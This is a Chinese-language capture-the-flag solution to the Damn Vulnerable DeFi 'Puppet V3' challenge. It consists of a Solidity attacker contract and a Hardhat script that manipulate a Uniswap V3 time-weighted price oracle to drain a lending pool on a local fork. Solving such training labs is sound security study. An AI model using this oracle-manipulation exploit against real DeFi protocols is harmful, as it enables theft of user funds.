即使在熊市中,贷款池背后的开发人员仍在不断构建。
在最新版本中,他们正在使用 Uniswap V3 作为预言机。没错,不再使用现货价格!这次,该池查询资产的时间加权平均价格,并使用了所有推荐的库。
Uniswap 市场提供了100个WETH和100个DVT的流动性。贷款池拥有一百万个DVT代币。
从1个ETH和一些DVT开始,通过从贷款池中获取所有代币来通过此挑战。
注意:与其他挑战不同,此挑战要求您在挑战的测试文件中设置有效的RPC URL,将主网状态分叉到您的本地环境中。
创建PuppetV3Attack.sol
//SPDX-License-Identifier:MIT
pragma solidity >0.7.0;
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
interface IPuppetV3Pool {
function borrow(uint256 borrowAmount) external;
function calculateDepositOfWETHRequired(
uint256 amount
) external view returns (uint256);
}
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
contract PV3Attacker is IUniswapV3SwapCallback {
IERC20Minimal public token;
IUniswapV3Pool public v3pool;
IPuppetV3Pool public lendingPool;
IERC20Minimal public weth;
int56[] public tickCumulatives;
constructor(
address _token,
address _v3pool,
address _lendingPool,
address _weth
) {
token = IERC20Minimal(_token);
v3pool = IUniswapV3Pool(_v3pool);
lendingPool = IPuppetV3Pool(_lendingPool);
weth = IERC20Minimal(_weth);
}
function callSwap(int256 _amount) public {
v3pool.swap(
address(this),
false,
_amount,
TickMath.MAX_SQRT_RATIO - 1,
""
);
}
function uniswapV3SwapCallback(
int256,
int256 amount1Delta,
bytes calldata
) external override {
uint256 amount1 = uint256(amount1Delta);
token.transfer(address(v3pool), amount1);
}
function getQuoteFromPool(
uint256 _amountOut
) public view returns (uint256 _amountIn) {
_amountIn = lendingPool.calculateDepositOfWETHRequired(_amountOut);
}
function observePool(
uint32[] calldata _secondsAgos
)
public
returns (
int56[] memory _tickCumulatives,
uint160[] memory _secondsPerLiquidityCumulativeX128s
)
{
(_tickCumulatives, _secondsPerLiquidityCumulativeX128s) = v3pool
.observe(_secondsAgos);
tickCumulatives.push(_tickCumulatives[0]);
tickCumulatives.push(_tickCumulatives[1]);
}
function transferWeth() public {
uint bal = weth.balanceOf(address(this));
weth.transfer(msg.sender, bal);
}
}
puppet-v3.challenge.js
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
//WETH-token0="0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"
//DVT-token1="0xdF46e54aAadC1d55198A4a8b4674D7a4c927097A"
//Swap DVT for ETH - OneForZero
/**Step1: Deployment */
const PuppetV3Attacker = await ethers.getContractFactory("PV3Attacker");
const puppetV3Attacker = await PuppetV3Attacker.deploy(
token.address,
uniswapPool.address,
lendingPool.address,
weth.address
);
console.log("puppetV3Attacker is deployed at", puppetV3Attacker.address);
await token
.connect(player)
.transfer(puppetV3Attacker.address, PLAYER_INITIAL_TOKEN_BALANCE);
console.log(
"puppetV3Attacker token balance is",
ethers.utils.formatEther(
(await token.balanceOf(puppetV3Attacker.address)).toString()
),
"\n____________________________________________________",
"\nZero for One: false - Swapping token for Weth...",
"\n____________________________________________________"
);
/** Step2: swapping with time increments */
console.log(
"current liquidity before swap",
(await uniswapPool.liquidity()).toString()
);
const slot = await uniswapPool.slot0()
console.log({
slot
})
console.log(
"current slot0 sqrtpricex96 before swap",
(await uniswapPool.slot0())[0].toString()
);
console.log(
"current slot0 tick before swap",
(await uniswapPool.slot0())[1].toString()
);
await puppetV3Attacker.callSwap(ethers.utils.parseEther("109"), {
gasLimit: 3000000,
});
console.log(
"Attacker Weth Balance after swap",
ethers.utils.formatEther(
(await weth.balanceOf(puppetV3Attacker.address)).toString()
)
);
console.log(
"Attacker Token Balance after swap",
ethers.utils.formatEther(
(await token.balanceOf(puppetV3Attacker.address)).toString()
)
);
console.log("Current block number", await ethers.provider.getBlockNumber());
console.log(
"Quote after swap1",
ethers.utils.formatEther(
await lendingPool.calculateDepositOfWETHRequired(
LENDING_POOL_INITIAL_TOKEN_BALANCE
)
),
"ether",
"\n____________________________________________________"
);
await time.increase(100);
console.log("Current block number", await ethers.provider.getBlockNumber());
console.log(
"Quote after 100s",
ethers.utils.formatEther(
await lendingPool.calculateDepositOfWETHRequired(
LENDING_POOL_INITIAL_TOKEN_BALANCE
)
),
"ether"
);
console.log("current liquidity ", await uniswapPool.liquidity().toString());
console.log("current slot0 ", (await uniswapPool.slot0())[0].toString());
console.log(
"current slot0 tick ",
(await uniswapPool.slot0())[1].toString()
);
/**Step 3: Transfer Weth from attacker contract to player and borrow from pool */
await puppetV3Attacker.connect(player).transferWeth();
await weth
.connect(player)
.approve(lendingPool.address, ethers.utils.parseEther("99"));
await lendingPool
.connect(player)
.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
console.log(
`Seconds lapsed since execution starts`,
(await ethers.provider.getBlock("latest")).timestamp -
initialBlockTimestamp
);
console.log(
`current timestamp`,
(await ethers.provider.getBlock("latest")).timestamp
);
// Check the pool status for references
await puppetV3Attacker.observePool([600, 0]);
console.log(
"tickCumulatives at 10min ago",
(await puppetV3Attacker.tickCumulatives(0)).toString()
);
console.log(
"tickCumulatives now",
(await puppetV3Attacker.tickCumulatives(1)).toString()
);
console.log(
"Weth balance in UniswapPool",
ethers.utils.formatEther(
(await weth.balanceOf(uniswapPool.address)).toString()
)
);
console.log(
"Token balance in UniswapPool",
ethers.utils.formatEther(
(await token.balanceOf(uniswapPool.address)).toString()
)
);
//For reference: calculate spot price based on ratio of token balances
let x = await weth.balanceOf(uniswapPool.address);
let y = await token.balanceOf(uniswapPool.address);
console.log(
"Ref: Quote of 1million token from lending pool in Weth (based on ratio of token balances):",
(x * 1000000 * 3) / y
);
});